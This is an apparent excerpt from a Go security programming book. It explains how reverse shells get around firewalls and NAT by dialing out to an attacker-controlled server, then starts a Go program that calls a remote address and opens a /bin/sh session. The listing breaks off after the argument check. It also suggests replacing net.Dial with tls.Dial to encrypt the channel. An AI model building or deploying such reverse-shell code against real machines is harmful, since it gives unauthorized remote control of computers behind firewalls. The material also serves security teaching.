Reverse bind shells overcome the firewall and NAT issue. Instead of listening for incoming connections, it dials out to a remote server (one you control and are listening on). When you get the connection on your machine, you have a shell that is running on the computer behind the firewall.
This example uses plaintext TCP sockets, but you can easily swap net.Dial() with tls.Dial(). Chapter 6, Cryptography, has examples of a TLS client and server if you want to modify these examples to use TLS.
// Call back to a remote server and open a shell session
package main
import (
"fmt"
"log"
"net"
"os"
"os/exec"
)
var shell = "/bin/sh"
func main() {
// Handle command line arguments
if len(os.Args) < 2 {
fmt.Println("Usage: " + os.Args[0] + " <remoteAddress>"...